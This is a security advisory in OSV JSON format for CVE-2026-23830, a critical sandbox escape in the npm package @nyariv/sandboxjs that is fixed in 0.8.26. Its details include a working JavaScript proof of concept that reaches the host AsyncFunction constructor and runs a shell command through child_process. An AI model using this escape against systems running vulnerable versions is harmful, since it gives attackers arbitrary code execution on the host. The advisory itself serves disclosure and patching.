CVE-2026-23830: @nyariv/sandboxjs SandboxJS Has Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wxhw-j4hc-fmq6",
  "modified" : "2026-01-29T03:43:42Z",
  "published" : "2026-01-27T19:55:11Z",
  "aliases" : [ "CVE-2026-23830" ],
  "summary" : "SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor",
  "details" : "### Summary\nA sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`\n\n### Details\n\nThe library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups.\n\nHowever, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`).\n\nIn `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor.\n\nConstructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).\n\n### PoC\n\n```js\nconst sandbox = require('@nyariv/sandboxjs');\nconst s = new sandbox.default();\n\nconst payload = `\n    const af = async () => {};\n    // .constructor returns the host AsyncFunction constructor because it's not intercepted\n    const AsyncConstructor = af.constructor;\n    console.log(\"AsyncConstructor name:\", AsyncConstructor.name);\n    \n    // Create a function that executes outside the sandbox\n    const func = AsyncConstructor(\"return process.mainModule.require('child_process').execSync('id').toString()\");\n    \n    // Execute RCE\n    const p = func();\n    p.then(proc => {\n        console.log(proc);\n    });\n`;\n\ntry {\n    s.compile(payload)().run();\n} catch (e) {\n    console.error(\"Bypass failed:\", e.message);\n}\n```\n\nRun above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. \n\n### Impact\n\nA Remote Code Execution, attacker may be able to run an arbitrary code.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.26"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23830"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-913", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-27T19:55:11Z",
    "nvd_published_at" : "2026-01-28T00:15:50Z"
  }
}